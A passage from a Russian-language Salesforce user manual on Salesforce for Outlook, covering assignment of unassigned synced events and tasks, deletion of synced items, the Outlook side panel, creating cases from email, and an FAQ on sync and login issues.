могут быть назначены. Чтобы отменить назначение, удалите указанные в полях
данные.

• Чтобы оставить без назначения, щелкните «Не назначать». Неназначенные
события (например, внутренниеилиличныевстречи) доступнытолько текущему
пользователю, поэтому не могут быть связаны с другими записями.

3. Чтобы сохранить изменения, нажмите кнопку «Сохранить». Все измененные
элементы удаляются из списка. Синхронизация оставшихся элементов будет
продолжена; их определение может быть выполнено позже. Чтобы отменить все
внесенныена страницуизменения, нажмите кнопку «Отмена».Событиедобавляется
в связанныйсписок «Журналдействий» или «Открытыедействия» соответствующей
записи. Изменения не могут быть сохранены в том случае, если событие содержит
обязательное настраиваемое поле, либо настраиваемое поле действия становится
обязательным после добавления элементов в список неопределенных событий.

Прим.: Такжедляопределениясобытияможнопометить записьсобытиявкачестве
личной или назначить ее другим записям Salesforce с помощью полей «Связано
с» и «Имя». Назначенные и личные события автоматически удаляются из списка
неопределенныхсобытий. Чтобыпросмотретьописаниесобытия, щелкнитезначок
напротив нужной темы.

СМ. ТАКЖЕ:

Мои неопределенные элементы

Синхронизация событий с помощью Salesforce for Outlook
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Определение синхронизированных задач Outlook

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience (только
при отображении запроса
устранить конфликтные
данные
Salesforce for Outlook в
области уведомлений
панели задач Windows)

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра или
редактирования
неопределенных задач:
• «Редактирование» для

задач и «Чтение» для
объектов, назначаемых
задачам

И

Cинхронизация задач

Для создания записей
Salesforce:
• «Редактирование» для

задач

И

«Показать быстрое
создание» и «Создание»
для соответствующих
объектов

Для просмотра недавних
данных в полях связанных
записей:
• «Автозаполнение полей

поиска» в параметрах
поиска

Задачи Outlook, синхронизируемые с помощью приложения Salesforce for Outlook,
отображаютсянастранице «Моинеопределенныеэлементы». Даннаястраницапозволяет
назначать задачи связанным записям Salesforce или оставлять их без назначения.

1. Чтобы просмотреть неопределенные задачи, щелкните ссылку «Неопределенные
элементы» на боковой панели.

2. Взависимостиотнужногорезультата, выберителюбоеиз указанныхнижедействий.

• Чтобыназначить связаннымзаписям, укажитенужнуюсвязаннуюзапись водном
или обоих полях. При необходимости выберите нужный тип записи в
раскрывающемся списке. При назначении интереса дополнительные записи не
могут быть назначены. Чтобы отменить назначение, удалите указанные в полях
данные.

• Чтобы оставить без назначения, щелкните «Не назначать». Неназначенные
задачи (например, внутренние или личные встречи) доступны только текущему
пользователю, поэтому не могут быть связаны с другими записями.

3. Чтобы сохранить изменения, нажмите кнопку «Сохранить». Все измененные
элементы удаляются из списка. Синхронизация оставшихся элементов будет
продолжена; их определение может быть выполнено позже. Чтобы отменить все
внесенные на страницу изменения, нажмите кнопку «Отмена». Задача добавляется
в связанныйсписок «Журналдействий» или «Открытыедействия» соответствующей
записи. Изменения не могут быть сохранены в том случае, если задача содержит
обязательное настраиваемое поле, либо настраиваемое поле действия становится
обязательным после добавления элементов в список неопределенных задач.

Прим.: Также для определения задачи можно назначить запись задачи другим
записям Salesforce с помощью полей «Связано с» и «Имя». Назначенные задачи
автоматически удаляются из списка неопределенных задач.

СМ. ТАКЖЕ:

Мои неопределенные элементы

Синхронизация задач с помощью Salesforce for Outlook

1796

Управление электронной почтойПродажи клиентам



Удаление элементов, синхронизируемых посредством приложения Salesforce for Outlook

ВЕРСИИ

Данная функция доступна
для управления в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления элементов,
синхронизируемых между
Salesforce и Outlook:
• «Удаление» для всех

объектов, подлежащих
удалению

Элемент, синхронизируемыйпосредствомприложения Salesforce for Outlook, можетбыть
одновременноудалениз Salesforceи Outlook путемего удаления толькоизоднойсистемы.
Повторяющиеся задачи и недавно обновленные элементы, подлежащие удалению,
требуют специальной обработки.

Сначала проверьте направление синхронизации для нужного контакта, события или
задачи. Затемудалитеэлементизсистемы, выбраннойвкачествеегоисточника. Элементы,
поддерживающиесинхронизациювобоихнаправлениях, могутбыть удаленыизлюбой
системы.

Какрезультат, приложение Salesforce for Outlook автоматическиудаляет соответствующий
элемент из другой системы.

Прим.: Повторяющиеся задачи синхронизируются только по направлению из
системы Salesforce, поэтому могут удаляться без проверки направления
синхронизации: повторяющиеся задачи всегда удаляются в системе Salesforce.

1. Введите строку «Salesforce for Outlook» в поле «Быстрый поиск» на
странице личных параметров и щелкните «Просмотр моей конфигурации».

2. Проверьте направление синхронизации для нужного контакта, события или
неповторяющейся задачи.

3. Удалите элемент из системы-источника.
Например, чтобыудалить контакт (если контактысинхронизируютсяпонаправлениюиз Outlook в Salesforce), удалите
нужный контакт в Outlook.
Удаленный элемент удаляется из обеих систем при выполнении следующего цикла синхронизации.

Удалениеэлементатолькоизоднойсистемыможетуказыватьнаобновлениеданнойзаписитекущимилидругимторговым
представителем в течение того же цикла синхронизации и выполнение приложением Salesforce for Outlook обновления
взамен удаления. Данный алгоритм определяется разделом «Алгоритм конфликта» конфигурации Salesforce for Outlook,
предусматривающимприоритетобновленияводнойсистеменадудалениемвдругойсистеме. Вданномслучаевыполните
повторное удаление записи. Или обратитесь к сотруднику, который интересуется данным элементом!

Просмотр записей Salesforce в приложении Microsoft® Outlook®

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Боковая панель» в конфигурации OutlookДля отображения боковойпанели Salesforce
в приложении Outlook:

«Добавить сообщение эл. почты» в
конфигурации Outlook

Для добавления сообщений эл. почты
(включая вложения), событий и задач
Outlook в записи Salesforce:

«Разрешитьпользователям выбор вложений»
в конфигурации Outlook

Для добавления конкретных вложений эл.
почты в систему Salesforce:

«Разрешить пользователям пакетное
связывание контактов с задачами и
событиями» в разделе «Параметры действий»

Для добавления сообщений эл. почты
(включая вложения), событий и задач в
несколько контактов:
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Обратитесь в службу поддержки Salesforce.Для пакетного добавления сообщений эл. почты в записи
Salesforce, принимающие задачи:

Система позволяет просматривать контактыиинтересы Salesforce, связанные с важными сообщениями эл. почты Outlook,
прямовприложении Outlook. БоковаяпанельSalesforceотображает записиSalesforce, доступныедлядобавлениясообщений
эл. почты, событий и задач Outlook.

Посмотретьдемонстрационныйролик: ИспользованиебоковойпанелиSalesforceдляработысзаписямивприложении
Microsoft® Outlook®

Привыборесообщенияэл. почтывпапке «Входящие» илисобытиявкалендаре Outlook боковаяпанельSalesforceотображает
сведения о связанных контактах и интересах Salesforce прямо в приложении Outlook. Включенная боковая панель в
конфигурации Outlook отображает не более 10 контактов и интересов из полей сообщения эл. почтыили события «От»,
«Кому» и «Копия».

Кроме того, боковая панель Salesforce:

• Содержит не более четырех действий, возможностей и обращений, связанных с контактами и интересами,
отображаемыми на боковой панели.

• Позволяет добавлять сообщения эл. почты Outlook иихвложения вразные записи Salesforce, а такжедобавлять события
и задачи Outlook в разные контакты и в одну другую запись (например, организацию, обращение или настраиваемый
объект), которая может быть связана с задачами.

• Определяет повторяющиеся контакты или интересы. Записи, которые должны отображаться на боковой панели,
выбираются пользователем.

• Позволяет напрямую создавать записи Salesforce.

• Поддерживает функцию поиска, позволяющую находить дополнительные записи Salesforce.

• Содержит ссылки для просмотра полных сведений о записи прямо в системе Salesforce.

Ниже приведен пример использования боковой панели.
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1. Выберите нужное сообщение эл. почты или событие в приложении Outlook.

2. Просмотрите содержимое Salesforce, доступноенабоковойпанели, котораяотображает контактыиинтересысогласно
порядкуих следованиявполях сообщения эл. почтыилисобытия «От», «Кому» и «Копия». Просмотрите связанные
действия, возможностииобращениядлякаждогоконтактаиинтереса. Чтобыпросмотретьполныесведенияо записи,
щелкните ссылку, открывающую запись прямо в системе Salesforce.

Чтобы добавить сообщение эл. почты или событие в выбранные записи Salesforce, щелкните значок или значок
напротивнужныхзаписей. Вложенияэл. почтыдобавляются автоматическипридобавлениисообщенияэл. почты

в систему Salesforce, кроме случаев включенияфункции, позволяющейпользователямвыбирать конкретныевложения
эл. почты. В данном случае боковая панель отображает значок напротив отдельных вложений. Чтобы добавить
данные вложения в систему Salesforce, щелкните данный значок.

Прииспользованиифункции «Социальныеорганизациииконтакты» боковаяпанельSalesforceотображаетфотографии
для профилей Facebook® или Twitter™, выбранные пользователем для отображения в системе Salesforce.

3. Чтобыпросмотреть сведения о других контактах иинтересах, связанных с сообщением эл. почты, включая связанные
действия, обращения и возможности, выберите нужные записи.

4. Просмотрите записи Salesforce, дополненные сообщениями эл. почты или событиями. Чтобы создать запись
организации, обращения, контакта, интереса, возможности или настраиваемого объекта, связанную с сообщением
эл. почты, щелкните значок . Если нужные записи не отображаются, щелкните значок и добавьте сообщения эл.
почты, события или задачи Outlook в другие найденные записи. Чтобы свернуть боковую панель, щелкните значок

.

Добавление сообщений эл. почты Microsoft® Outlook® в записи Salesforce

Система позволяет отслеживать важные сообщения эл. почты Outlook, связанные с записями Salesforce, на боковой
панели Salesforce.

1799

Управление электронной почтойПродажи клиентам



Удаление сообщений эл. почты Microsoft® Outlook® из записей Salesforce

Принеобходимостиудалите сообщенияэл. почты Microsoft Outlook из записей Salesforceпосредствомбоковойпанели
для приложения Salesforce for Outlook.

Добавление событий Microsoft® Outlook® в записи Salesforce

Чтобыдобавитьсобытия Outlook в записиSalesforce, воспользуйтесьбоковойпанельюSalesforce. Событиедобавляется
в запись Salesforce как действие, которое может быть просмотрено в связанном списке «Журнал действий» или
«Открытые действия» записи.

Добавление задач Microsoft® Outlook® в записи Salesforce

При необходимости добавьте задачи Outlook в несколько контактов Salesforce, а также в одну другую запись,
принимающуюзадачи (например, организация, интерес или возможность). Задача добавляется в запись Salesforce как
действие, котороеможетбытьпросмотренов связанномсписке «Журналдействий» или «Открытыедействия» записи.

Создание записей прямо на боковой панели Salesforce

Боковая панель приложения Microsoft® Outlook® позволяет быстро создавать разные типы записей.

Поиск записей Salesforce в приложении Microsoft® Outlook®

СМ. ТАКЖЕ:

Добавление сообщений эл. почты Microsoft® Outlook® в записи Salesforce

Создание записей прямо на боковой панели Salesforce

Поиск записей Salesforce в приложении Microsoft® Outlook®

Добавление сообщений эл. почты Microsoft® Outlook® в записи Salesforce

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Боковая панель» в конфигурации OutlookДля отображения боковойпанели Salesforce
в приложении Outlook:

«Добавить сообщение эл. почты» в
конфигурации Outlook

Для добавления сообщений эл. почты
(включая вложения), событий и задач
Outlook в записи Salesforce:

«Разрешитьпользователям выбор вложений»
в конфигурации Outlook

Для добавления конкретных вложений эл.
почты в систему Salesforce:

«Разрешить пользователям пакетное
связывание контактов с задачами и
событиями» в разделе «Параметры действий»

Для добавления сообщений эл. почты
(включая вложения), событий и задач в
несколько контактов:

Обратитесь в службу поддержки Salesforce.Для пакетного добавления сообщений эл.
почты в записи Salesforce, принимающие
задачи:

Системапозволяетотслеживать важные сообщения эл. почты Outlook, связанные с записями Salesforce, набоковойпанели
Salesforce.

Чтобы выполнить данное действие, воспользуйтесь боковой панелью Salesforce (функцией, доступной в приложении
Salesforce for Outlook). Дополнительную информацию о боковой панели см. в разделе «Просмотр записей Salesforce в
приложении Microsoft® Outlook®».
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1. Выполните одно из перечисленных ниже действий в приложении Outlook.

• Выберите нужное сообщение эл. почты в папке входящих сообщений.

• Создайте сообщение эл. почты.

Сообщение эл. почты может быть добавлено в несколько контактов, а также в одну другую запись (например,
организацию, обращение или возможность), которая может быть связана с задачами.

2. Щелкните значок напротив нужной записи контакта, организации, обращения, возможности или интереса на
боковой панели. Боковая панель подтверждает записи Salesforce, дополненные сообщением эл. почты.

Новое исходящее сообщение эл. почты добавляется в записи Salesforce при нажатии кнопки «Отправить».

3. Способ добавления вложений определяется текущими настройками боковой панели.

• При отображении раздела «Вложения» после добавления сообщения эл. почты в систему Salesforceщелкните
значок для добавления конкретных вложений эл. почты в запись.

• При отсутствии возможности добавления вложений добавление сообщения эл. почты в систему Salesforce
инициирует автоматическое добавление вложений.

СМ. ТАКЖЕ:

Поиск записей Salesforce в приложении Microsoft® Outlook®

Удаление сообщений эл. почты Microsoft® Outlook® из записей Salesforce

Поиск записей Salesforce в приложении Microsoft® Outlook®
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Удаление сообщений эл. почты Microsoft® Outlook® из записей Salesforce

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Боковая панель» в конфигурации OutlookДля отображения боковойпанели Salesforce
в приложении Outlook:

«Добавить сообщение эл. почты» в
конфигурации Outlook

Для добавления сообщений эл. почты
(включая вложения), событий и задач
Outlook в записи Salesforce:

«Разрешитьпользователям выбор вложений»
в конфигурации Outlook

Для добавления конкретных вложений эл.
почты в систему Salesforce:

«Разрешить пользователям пакетное
связывание контактов с задачами и
событиями» в разделе «Параметры действий»

Для добавления сообщений эл. почты
(включая вложения), событий и задач в
несколько контактов:

Обратитесь в службу поддержки Salesforce.Для пакетного добавления сообщений эл.
почты в записи Salesforce, принимающие
задачи:

При необходимости удалите сообщения эл. почты Microsoft Outlook из записей Salesforce посредством боковой панели
для приложения Salesforce for Outlook.

Чтобы выполнить данное действие, воспользуйтесь боковой панелью Salesforce (функцией, доступной в приложении
Salesforce for Outlook). Дополнительную информацию о боковой панели см. в разделе «Просмотр записей Salesforce в
приложении Microsoft® Outlook®».

1. Выберите сообщение эл. почты Outlook, которое должно быть удалено из записей Salesforce.

2. Найдите нужную запись Salesforce на боковой панели Salesforce. Верхний раздел боковой панели отображает записи,
содержащие сообщение эл. почты.

3. Чтобы удалить сообщение эл. почты из записи Salesforce, наведите указатель мыши на значок , дождитесь
отображения значка ищелкните данный значок. Боковая панель отображает обновления для остальных записей
Salesforce, содержащих сообщение эл. почты.

СМ. ТАКЖЕ:

Добавление сообщений эл. почты Microsoft® Outlook® в записи Salesforce

Поиск записей Salesforce в приложении Microsoft® Outlook®
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Добавление событий Microsoft® Outlook® в записи Salesforce

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отображения боковой
панели Salesforce в
приложении Outlook:
• «Боковая панель» в

конфигурации Outlook

Для добавления сообщений
эл. почты (включая
вложения), событий и задач
Outlook в записи Salesforce:
• «Добавить сообщение

эл. почты» в
конфигурации Outlook

Для добавления сообщений
эл. почты (включая
вложения), событий и задач
в несколько контактов:
• «Разрешить

пользователям пакетное
связывание контактов с
задачами и событиями»
в разделе «Параметры
действий»

Чтобы добавить события Outlook в записи Salesforce, воспользуйтесь боковой панелью
Salesforce. Событие добавляется в запись Salesforce как действие, которое может быть
просмотрено в связанномсписке «Журнал действий» или «Открытые действия» записи.

1. Выберите событие Outlook, которое должно быть добавлено в записи Salesforce.
Событиеможет быть добавлено внесколько контактов, а также в одну другуюзапись
(например, организацию, обращениеиливозможность), котораяможетбыть связана
с задачами.
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2. Щелкните значок напротив нужной записи контакта, организации, обращения, возможности или интереса на
боковой панели Salesforce.

Добавленное событие обозначается значком .

3. Просмотрите записи Salesforce, дополненные событием.
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Добавление задач Microsoft® Outlook® в записи Salesforce

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отображения боковой
панели Salesforce в
приложении Outlook:
• «Боковая панель» в

конфигурации Outlook

Для добавления сообщений
эл. почты (включая
вложения), событий и задач
Outlook в записи Salesforce:
• «Добавить сообщение

эл. почты» в
конфигурации Outlook

Для добавления сообщений
эл. почты (включая
вложения), событий и задач
в несколько контактов:
• «Разрешить

пользователям пакетное
связывание контактов с
задачами и событиями»
в разделе «Параметры
действий»

При необходимости добавьте задачи Outlook в несколько контактов Salesforce, а также в
одну другую запись, принимающую задачи (например, организация, интерес или
возможность). Задача добавляется в запись Salesforce как действие, которое может быть
просмотрено в связанномсписке «Журнал действий» или «Открытые действия» записи.

Чтобы добавить задачи Outlook в записи Salesforce, воспользуйтесь представлением
«Задачи» приложения Microsoft Outlook.

1. Выберите нужную задачу.

2. Чтобы найти нужную запись Salesforce, щелкните значок на боковой панели.

3. Щелкните значок напротив нужной записи в результатах поиска.
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Добавленная задача обозначается значком .

Создание записей прямо на боковой панели Salesforce

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отображения боковой
панели Salesforce:
• «Боковая панель» в

конфигурациях Outlook

Для создания записей на
боковой панели Salesforce:
• «Создание» и «Чтение»

для всех
соответствующих
объектов И «Доступно»
для всех обязательных
полей создаваемых
записей

Боковаяпанельприложения Microsoft® Outlook®позволяетбыстро создаватьразные типы
записей.

Взависимостиот заданныхпараметровдоступа кпубликаторубоковойпанели Salesforce,
пользователимогутсоздаватьорганизации, обращения, контакты, интересы, возможности
и другие типы записей прямо на боковой панели.

1. Выберите нужное сообщение эл. почты в приложении Outlook ищелкните значок
.

См. рисунок ниже.

2. Выберите нужное действие.

Доступныедействиянастраиваютсяадминистратором (например, «Создатьконтакт»).

3. Введите сведения о записи.
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4. Чтобы сохранить запись, щелкните значок .

Помните, что вложения эл. почты не добавляются в созданные записи.
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Поиск записей Salesforce в приложении Microsoft® Outlook®

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Боковая панель» в конфигурации OutlookДля отображения боковойпанели Salesforce
в приложении Outlook:

«Добавить сообщение эл. почты» в
конфигурации Outlook

Для добавления сообщений эл. почты
(включая вложения), событий и задач
Outlook в записи Salesforce:

«Разрешитьпользователям выбор вложений»
в конфигурации Outlook

Для добавления конкретных вложений эл.
почты в систему Salesforce:

«Разрешить пользователям пакетное
связывание контактов с задачами и
событиями» в разделе «Параметры действий»

Для добавления сообщений эл. почты
(включая вложения), событий и задач в
несколько контактов:

Обратитесь в службу поддержки Salesforce.Для пакетного добавления сообщений эл.
почты в записи Salesforce, принимающие
задачи:

Чтобы выполнить данное действие, воспользуйтесь боковой панелью Salesforce (функцией, доступной в приложении
Salesforce for Outlook). Дополнительную информацию о боковой панели см. в разделе «Просмотр записей Salesforce в
приложении Microsoft® Outlook®».

При просмотре сведений, отображающихся на боковой панели Salesforce, пользователи могут выполнять поиск
дополнительных записей Salesforce. Поиск возвращает контакты и другие записи (например, кампании, обращения или
возможности), которые могут быть связаны с задачами.

1. Чтобы просмотреть дополнительные записи Salesforce, выберите нужное сообщение эл. почты Outlook.

2. Щелкните значок на боковой панели.

3. Введите критерий поиска. Например, чтобы найти записи Salesforce, связанные со словом «компьютеры», введите
критерий поиска «компьютер».

4. Чтобы просмотреть записи Salesforce, связанные с критерием поиска, щелкните значок поиска.

СМ. ТАКЖЕ:

Просмотр записей Salesforce в приложении Microsoft® Outlook®

Добавление сообщений эл. почты Microsoft® Outlook® в записи Salesforce
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Создание обращений в ленте Outlook Ribbon с помощью Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления вложений
эл. почты при создании
обращений:
• «Всегда сохранять

вложения эл. почты» в
параметрах функции
Email to Salesforce

И

«Добавить сообщение
эл. почты» в
конфигурации
Salesforce for Outlook

Прим.: Прежде чем использовать даннуюфункцию, рекомендуем создать записи
посредством боковой панели Salesforce. Помните, что создание обращений
посредством боковой панели препятствует добавлению вложений эл. почты.

Если приложение Microsoft® Outlook® не содержит раскрывающейся кнопки «Создать
обращения», обратитеськадминистратору, которыйможетвключитьданнуюфункцию.

ПриотслеживанииобращенийвсистемеSalesforceновыеобращениямогутбытьсозданы
из сообщенийэл. почты Microsoft® Outlook®. Сначала администратордолженсоздатьцели
Email-to-Case, которые отображаются при нажатии раскрывающейся кнопки «Создать
обращения» в приложении Outlook. Каждойцелиможет соответствовать назначенный
сотрудник, являющийся отдельным пользователем или очередью. При создании
обращений пользователь может одновременно добавить не более 10 сообщений эл.
почты для каждой цели.

1. Выберите не более 10 отправленных или полученных сообщений эл. почты Outlook
и нажмите кнопку «Создать обращения».

2. Выберите цель в раскрывающемся списке. Приложение Salesforce for Outlook добавляет выбранные сообщения эл.
почты в качестве обращений Salesforce.

СМ. ТАКЖЕ:

Создание записей прямо на боковой панели Salesforce

Редактирование параметров эл. почты Salesforce for Outlook

Доступ к параметрам и инструментам приложения Salesforce for Outlook
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Salesforce for Outlook. Вопросы и ответы

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Обратите внимание на некоторые общие вопросы, связанные с Salesforce for Outlook.

ВопросыКатегория

Чем отличаются личные элементы в системе Salesforce и
приложении Microsoft® Outlook®?

Общие вопросы о
приложении
Salesforce for Outlook

Поддерживает ли приложение Salesforce for Outlook
терминальные серверы?

ПочемуустановкаприложенияSalesforce for Outlookпрерывается
в окне предварительных требований?

Установка
приложения
Salesforce for Outlook

Почему не удается выполнить вход в приложение
Salesforce for Outlook?

Настройка
приложения
Salesforce for Outlook

Можно ли сопоставлять настраиваемые поля, которые я
синхронизирую, с Salesforce for Outlook?

Можно ли выполнить пакетную настройку приложения
Salesforce for Outlook?

Можно ли использовать логику фильтра в наборах данных
Salesforce for Outlook?

Следует ли синхронизировать Outlook или использовать
мастеры импорта для загрузки данных в систему Salesforce?

Синхронизация
посредством
приложения
Salesforce for Outlook Можно ли синхронизировать организации-лица посредством

приложения Salesforce for Outlook?

Можно ли использовать приложение Salesforce for Outlook для
добавления обращений?

Можно ли использовать приложение Salesforce for Outlook для
связывания записей Outlook с настраиваемыми объектами?

Почему приложение Salesforce for Outlook создает
повторяющиеся записи в приложении Microsoft® Outlook®?

Управление
синхронизированными
записями

Почему приложение Salesforce for Outlook создает
повторяющиеся контакты в системе Salesforce и приложении
Microsoft® Outlook®?

Почему приложение Salesforce for Outlook удаляет
синхронизированные записи Outlook?

Почемуприложение Salesforce for Outlookдобавляет сообщения
эл. почты в неверный контакт или интерес Salesforce?

Добавление
сообщений эл.
почты в

Почему сообщения эл. почты не могут быть добавлены в
систему Salesforce?

приложение
Salesforce for Outlook

1810

Управление электронной почтойПродажи клиентам



ВопросыКатегория

Каквключитьвложенияэлектроннойпочтыпридобавлениисообщенийэлектронной
почты в Salesforce?

Как включить синхронизацию контактов в приложении Salesforce for Outlook?Синхронизация контактов

Как приложение Salesforce for Outlook защищает сообщения эл. почты?Защита данных

Поддерживает ли компания Salesforce единую регистрацию для приложения
Salesforce for Outlook?

Насколько безопасно приложение Salesforce for Outlook?

Чем отличаются личные элементы в системе Salesforce и приложении Microsoft® Outlook®?

Личные элементы в Microsoft Outlook и Salesforce различаются по неожиданным параметрам. Перед тем как вы выберете
синхронизацию личных событий, подумайте о том, как они будут отображаться для коллег в каждой из систем.

Отмечен как «Личный» в SalesforceЛичный в OutlookЭлемент

Другие пользователи Salesforce могут видеть
контакты, связанные с организациями.

Вашадминистратор Exchange может видеть ваши
контакты. Другие пользователи не видят их.

Контакты

Контакты, которые не связаны с организациями,
являются личными. Их видят только
администраторы Salesforce, которые могут
просматривать, редактировать и создавать отчеты
по контактам.

Другие пользователи Salesforceмогут видеть только
временныеинтервалы, ане самисобытия, вотличие

Вашадминистратор Exchange может видеть ваши
события. Другие пользователи не видят их.

События

от администраторов Salesforce, которые могут
просматривать, редактировать и создавать отчеты
по контактам.

Система Salesforce не поддерживает личные задачи.
ПоэтомудругиепользователиSalesforceмогутвидеть
ваши задачи.

Вашадминистратор Exchange может видеть ваши
задачи. Другие пользователи не видят их.

Задачи

СМ. ТАКЖЕ:

ПО для настольных ПК Salesforce для Outlook

Общие сведения о синхронизации между приложением Microsoft® Outlook® и системой Salesforce
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Поддерживает ли приложение Salesforce for Outlook терминальные серверы?

Нет. Приложение Salesforce for Outlook не поддерживает терминальные серверы (например, Citrix).

СМ. ТАКЖЕ:

ПО для настольных ПК Salesforce для Outlook

Почему установка приложения Salesforce for Outlook прерывается в окне предварительных требований?

Используемая система может соответствовать не всем требованиям приложения Salesforce for Outlook. Убедитесь в
соответствии всем требованиям и повторите установку приложения Salesforce for Outlook.

СМ. ТАКЖЕ:

ПО для настольных ПК Salesforce для Outlook

Установка и настройка приложения Salesforce for Outlook

Salesforce for Outlook. Требования к системе

Почему не удается выполнить вход в приложение Salesforce for Outlook?

Возможно, входограничиваетсядиапазоном IP-адресов компании. Еслиорганизацияиспользуетограниченныйдиапазон
IP-адресов, то вход посредством непроверенных IP-адресов возможен только после их активации. Система Salesforce
автоматически отправляет сообщение эл. почты, содержащее ссылку для входа и маркер безопасности, который должен
быть добавлен в конецпароля. Например, прииспользованиипароля МойПароль имаркера безопасности XXXXXXXXXX
вход может быть выполнен только после ввода следующей строки: МойПарольXXXXXXXXXX.

СМ. ТАКЖЕ:

ПО для настольных ПК Salesforce для Outlook

Можнолисоотноситьнастраиваемыеполя, синхронизируемыепосредствомприложения Salesforce for Outlook?

Да. Приложение Salesforce for Outlook позволяет соотносить поле Salesforce с настраиваемым полем Outlook или поле
Outlook с настраиваемым полем Salesforce. Ниже перечислены типы полей, доступные для соотнесения.

• Текстовые поля Outlook

• Текстовые поля Salesforce

• Некоторые поля раскрывающегося списка Salesforce

Чтобы выполнить соотнесение с настраиваемыми полями, откройте конфигурацию Outlook. Выберите значение
«Настраиваемое поле...» вконцесоответствующегораскрывающегосясписка «Поле Outlook» раздела «Соотнесение
полей». Введите имя поля и нажмите кнопку «OK».

СМ. ТАКЖЕ:

Задание полей Salesforce, которые будут синхронизироваться с Microsoft® Outlook®
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Можно ли выполнить пакетную настройку приложения Salesforce for Outlook?

Да. ПользовательможетсоздатьиназначитьконфигурациюSalesforceпрофилямилиотдельнымпользователям. Параметры
конфигурации автоматически разворачиваются в приложении Outlook при настройке приложения Salesforce for Outlook.

СМ. ТАКЖЕ:

Управление конфигурацией Salesforce for Outlook

Можно ли использовать логику фильтра в наборах данных Salesforce for Outlook?

Нет. Логика фильтра не может использоваться для выбора записей, синхронизируемых посредством приложения
Salesforce for Outlook.

СМ. ТАКЖЕ:

Общие сведения о синхронизации между приложением Microsoft® Outlook® и системой Salesforce

Можно ли синхронизировать организации-лица посредством приложения Salesforce for Outlook?

Нет. Нельзя передавать организации-лица с помощью Salesforce for Outlook.

Дополнительную информацию об импорте организаций-лиц в организацию Salesforce см. в разделе «Импорт моих
организаций-лиц».

СМ. ТАКЖЕ:

Общие сведения о синхронизации между приложением Microsoft® Outlook® и системой Salesforce

Можно ли использовать приложение Salesforce for Outlook для добавления обращений?

Да. Приложение Salesforce for Outlook поддерживает добавление сообщений эл. почты в качестве обращений Salesforce.

СМ. ТАКЖЕ:

Создание обращений в ленте Outlook Ribbon с помощью Salesforce for Outlook

Настройка функции «Создать обращение» для пользователей Salesforce for Outlook

Можно ли использовать приложение Salesforce for Outlook для связывания записей Outlook с настраиваемыми
объектами?

Синхронизированные события и задачи могут быть назначены нескольким разным объектам, включая настраиваемые
объекты. Однако синхронизированные контакты могут быть назначены только организациям.

СМ. ТАКЖЕ:

Общие сведения о синхронизации между приложением Microsoft® Outlook® и системой Salesforce

Почему приложение Salesforce for Outlook создает повторяющиеся записи в приложении Microsoft® Outlook®?

ПриложениеSalesforce for Outlookможет создаватьповторяющиеся записи Outlook присинхронизацииконтактов, событий
и задач по направлению из Salesforce в Outlook, если синхронизируемые элементы помечены в качестве личных или
назначены категории Outlook «Не синхронизировать с Salesforce».
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Повторяющиеся записи создаются в том случае, если элементы Salesforce содержат те же данные, что элементы Outlook,
помеченные в качестве личных или назначенные категории Outlook «Не синхронизировать с Salesforce». Ввиду отсутствия
соотнесений между данными элементами, приложение Salesforce for Outlook обрабатывает их по отдельности и создает
повторяющиеся записи.

Приудаленииповтороврекомендуемудалять записи Outlook, помеченныевкачествеличныхилиназначенныекатегории
Outlook «Не синхронизировать с Salesforce». Данный алгоритм позволяет сохранить сведения Salesforce, которые могли быть
добавлены другими пользователями.

СМ. ТАКЖЕ:

Общие сведения о синхронизации между приложением Microsoft® Outlook® и системой Salesforce

Почемуприложение Salesforce for Outlook создаетповторяющиеся контакты в системе Salesforceиприложении
Microsoft® Outlook®?

Приложение Salesforce for Outlook может создавать повторяющиеся контакты в системе Salesforce и приложении Outlook
при синхронизации записей рабочей группы, сведения которых отличаются от аналогичных собственных контактов.

Например, контакт «Елена Иванова» используется текущим пользователем и участником рабочей группы. Однако
компании, указанные для данного контакта в записях, различаются. В этом случае приложение Salesforce for Outlook
синхронизирует оба контакта и создает повторы в системе Salesforce и приложении Outlook.

Во избежание повторяющихся контактов, рекомендуем согласовывать используемые контактные данные с участниками
рабочих групп. Контакты, содержащие устаревшие данные, должны удаляться вручную.

СМ. ТАКЖЕ:

Общие сведения о синхронизации между приложением Microsoft® Outlook® и системой Salesforce

Почему приложение Salesforce for Outlook удаляет синхронизированные записи Outlook?

Приложение Salesforce for Outlook автоматически синхронизирует собственные записи, а также записи, доступные
пользователю для чтения и записи при соблюдении указанных ниже условий.

• Записи связаны с собственными организациями

• Записи связаны с организациями, принадлежащими рабочей группе с участием текущего пользователя

